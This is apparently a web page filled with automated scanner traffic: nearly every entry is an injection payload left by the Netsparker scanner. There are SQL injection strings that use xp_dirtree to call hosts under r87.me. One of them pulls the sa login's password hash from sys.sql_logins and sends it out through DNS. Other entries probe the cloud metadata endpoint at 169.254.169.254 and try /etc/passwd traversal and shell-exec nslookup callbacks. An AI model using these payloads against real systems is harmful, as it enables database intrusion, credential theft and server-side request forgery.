» mith: 1')exec('xp_dirtree ''\\vadkeamaox9j83hwhp5kyetxfwzjf_smm6blsjcr'+'7du.r87.me'+'\c$$\a''')--
» : netsparker(0x010C14)
» http1092356822422: 3
» : 1')exec('xp_dirtree ''\\vadkeamaoxjailqi1pxexvw1fy7jmwzx1s6xjyfo'+'jw0.r87.me'+'\c$$\a''')--
» etcpasswd: 3
» createobjectcripthellexecnslookupvadkeamaoxtvcrmep7wbhywmenkmkuv9pkh2xbrsbyr87metduteadll: 3
» mith: ' ***sparker(0x010C13),'
» mith: 1) exec('xp_dirtree ''\\vadkeamaoxj84n7n96junk3ofnwgw6jf41y7_jk-'+'brw.r87.me'+'\c$$\a''')--
» : ' ***sparker(0x010C12),'
» http12700122: 3
» : 1) exec('xp_dirtree ''\\vadkeamaox5ptzs33awdff45nr1-pymaxrqmcjqu'+'bvg.r87.me'+'\c$$\a''')--
» etcpasswd0php: 3
» createobjectcripthellexecnslookupvadkeamaoxufcvipre3q3ektlgzfzklzaryqfc9ecr87metduteadll: 3
» mith: -1';exec('xp_dirtree ''\\vadkeamaoxhxsnwjjthfsizdyjfohxuhio5djtld'+'fz8.r87.me'+'\c$$\a''')--
» mith: \';netsparker(0x010C11)
//» : -1';exec('xp_dirtree ''\\vadkeamaoxxy9eano-be-83hmkhpnq-5qvxphvof'+'_w0.r87.me'+'\c$$\a''')--
» http169254169254latestmetadatapublichostname: 3
» gethostbynametrimvadkeamaoxj4a6yijynhk1saqcl8abvt4jeu33iqr87me: 3
» : \';netsparker(0x010C10)
//» etcpasswd0: 3
» mith: 1;exec('xp_dirtree ''\\vadkeamaoxtc8j4pdob5_s0rryhjumpxjjup-q4o'+'kus.r87.me'+'\c$$\a''')--
» mith: "+netsparker(0x010C0F)+"
» httpawsr87melatestmetadatapublichostname: 3
» : 1;exec('xp_dirtree ''\\vadkeamaoxfktl_e-ghhgsq_xatywxozuxxuhvjw'+'k-g.r87.me'+'\c$$\a''')--
» gethostbynametrimvadkeamaoxffbmnhleqgspw3bosskhvcng9eqna00r87me: 3
» : "+netsparker(0x010C0E)+"
» fileetcpasswd: 3
» mith: declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.vadkeamaoxdlxhrmelardwcvozsy4i8qgjp066bb'+'zby.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$$''')
» mith: '+netsparker(0x010C0D)+'
[1][2][3][4][5][6][7][8][9][10][11][12][13][14][15][16][17][18][19][20][21][22][23][24][25][26][27][28][29][30][31][32][33][34][35][36]
